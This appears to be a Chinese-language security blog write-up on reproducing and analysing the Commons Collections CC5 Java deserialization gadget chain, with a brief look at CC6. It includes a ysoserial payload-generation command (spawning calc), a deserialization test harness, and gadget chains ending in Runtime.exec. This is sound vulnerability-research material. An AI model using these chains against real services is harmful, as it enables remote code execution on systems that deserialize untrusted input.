漏洞复现
idea创建maven环境,拉取环境。
使用工具生成反序列化paylaod
java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections5 calc > test.ser
![1](/2020/04/19/cc5%E9%93%BE/1.png)
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream;
public class CommonsCollections5 { public static void main(String[] args) { deserialize(); }
public static void serialize(Object obj) { try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("tes.ser")); os.writeObject(obj); os.close(); } catch (Exception e) { e.printStackTrace(); } }
public static void deserialize() { try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("tes.ser")); is.readObject(); } catch (Exception e) { e.printStackTrace(); } }
}
|
漏洞分析
这条链后半部分和cc1一样,前半段不同(如何触发LazyMap#get),InvokerTransformer.transfrom–>ChainedTransformer.transfrom ConstantTransformer.transfrom拿到runtime类,构造命令执行点主要分析前半部分。
CC5 相当于从新找了个方法接替了 AnnotationInvocationHandler 的工作,这个类就叫做 BadAttributeValueExpException
首先readObject复写点在BadAttributeValueExpException
![2](/2020/04/19/cc5%E9%93%BE/2.png)
这里重写readObject方法并且会调用toString方法,并且变量valObj可控,利用类TiedMapEntry中的toString的方法
![3](/2020/04/19/cc5%E9%93%BE/3.png)
然后会调用LazyMap.get()方法,这样就回到了cc1的后半部分,不再赘述。
利用链如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
需要注意的是构造payload的时候,BadAttributeValueExpException类会对val进行判断是否为空,不为空就会执行toString方法,反序列化时传入entry已经时字符串了,就不会触发toString方法了,所以选择反射的方法进行调用
1
| public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); }
|
总结
构造poc思路
- 以TiedMapEntry对象为参数(就是poc中的entry对象,通过反射传入的参数)声明一个BadAttributeValueExpException对象,反序列化自动调用TiedMapEntry.toString()
- 上一步的toString触发TiedMapEntry.getValue(),进而触发LazyMap.get()
- LazyMap.get()触发ChainedTransformer.transform()实现rce
cc6称为cc5的兄弟链,不同的是CC5可以通过toString方法触发getValue,CC6链就是通过hashCode方法触发getValue的。利用链如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
|